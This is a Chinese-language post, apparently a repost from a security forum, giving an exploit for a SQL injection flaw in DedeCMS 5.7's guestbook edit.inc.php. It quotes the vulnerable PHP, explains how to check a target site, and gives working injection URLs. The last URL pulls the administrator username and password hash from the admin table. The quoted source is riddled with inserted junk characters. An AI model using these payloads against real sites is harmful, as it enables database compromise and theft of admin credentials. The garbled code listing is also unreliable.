dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

漏洞文件edit.inc.php具体代码：
0 L) o6 _9 {" z7 F
< ?php  

/ h1 ]4 \- Y  H2 U% x- [% P7 U8 mif(!defined('DEDEINC')) exit('Request Error!');  

( `. e5 u% \( \   

3 j  o  f/ X/ d) C. pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
3 J( ~, V+ q/ g9 X9 T5 H" {/ B0 Y8 M; H
   

$id = intval($id);  
6 A% z2 W& J/ h0 I2 j/ O! P
+ Q5 Y3 ~) T1 ~' e4 Jif(empty($job)) $job='view';  
6 a- P: V# ~3 p
/ q8 H. q* M6 z, Q/ Q3 j   

  v5 P! y) H; ~, |" _7 Vif($job=='del' && $g_isadmin)  
% I9 f/ z2 U, {+ p/ X' z. T9 q1 k- P
' O; |6 X" Y. i' w* V0 U{  
& z0 `% c3 \: k; M) e; d! r# H5 w
1 z/ W5 K" w2 N% Z" g0 G1 T' i1 f$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

exit();  
3 K8 J: @, f8 }8 R2 F; h/ @
}  
( l; y" n7 e+ `
* m5 W* z- W% `  pelse if($job=='check' && $g_isadmin)  

{  
) h& I' c+ G/ L# H
: x  E9 @$ Q6 F$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

$ L0 Y* K  L" @+ kShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

0 S0 l1 m6 g7 |, xexit();  
4 ]6 Q/ B$ u2 E2 L4 A1 F
1 z8 k$ u6 k0 @! B; Q}  

else if($job=='editok')  
' F9 f* i. S7 B* ?+ \6 I# ]/ t
' A1 L$ }, A" f- e! _) M3 A{  

$remsg = trim($remsg);  

if($remsg!='')  

{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  
8 z4 m. C3 e3 K3 z2 ~1 y
; z. a' S* v/ A8 @if($g_isadmin)  
; m7 R5 l4 L0 e4 d4 K. O
+ _8 X* `1 x) R$ U" f& R' @0 l{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  
5 w0 T$ H8 K, _8 [* p, ?' `
* j" E. M  f0 L9 w% y- Welse

{  
( Y+ E. l9 \! M9 o' c
; g+ J0 x  ~- z% w' h* e$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
% {  _# w+ S! Q0 j+ O" u
1 w& q* ^: T, L7 Z* h$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

2 Y/ ], M( ], T  X. q8 d; ?$msg = $oldmsg.$remsg;  
, W8 }* G& g" h' {. L5 }" p
}  
# l& r2 d, U- L) w3 b. o2 F* M
}  
9 m  Q$ s, B1 R6 d" b& P; d
//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
* O; V  e4 E! Y0 I
, j) \  r2 Z' }4 I5 A$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

' ?* e; Y4 b8 E" g6 B. k3 K9 h, DShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
4 c+ u% h7 F% _, P
exit();  
: s' x7 Z5 J9 n+ P8 Z2 @
0 w% [$ t8 v2 k5 t+ f- V}  
4 }' h" U' l0 S) d& X! F
//home:www.errs.cc  

if($g_isadmin)  
& ^+ y  Q( T9 @  o5 J
7 l% A: _  F* s% @{  
, l3 A( R' s' K& l* W$ ]5 B6 F2 Y
; e  i/ V: Q0 z( D, v- A$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
+ E# F5 g* N* a! c( _1 z6 f
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

  y% g" D% g/ F% Y' I5 H# y}  

else
1 a6 a. E; \# M" u, X% ]
" y7 M* [4 q  ^& ~' K+ [6 `7 r; Y{  
$ L9 M8 d# d" p: a% @
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

" q6 s2 k) E1 I: i/ W} 漏洞成功需要条件：
) p) |4 ~' ]$ O1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
6 @' X$ [  ~1 @1 \5 n先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
$ j& Y1 \/ r2 e3 A* C& N  T5 c访问：
2 m1 [( k- O+ B& v9 A
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
6 L) n' h. {4 _+ }2 _* W跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
( W( B2 ?3 O9 }

2 e; U, ]( a; l% O8 \0 F明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
6 J# f! o" I, ]; W4 a% ~如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
9 G$ d3 e) F0 L
, l* j1 `) @7 Q# Z- x9 ]大概利用就是这样，大家有兴趣的多研究下！！

最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
; Y( H7 \( R5 v4 N  R
3 N3 }8 X! E5 U/ ?- fview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='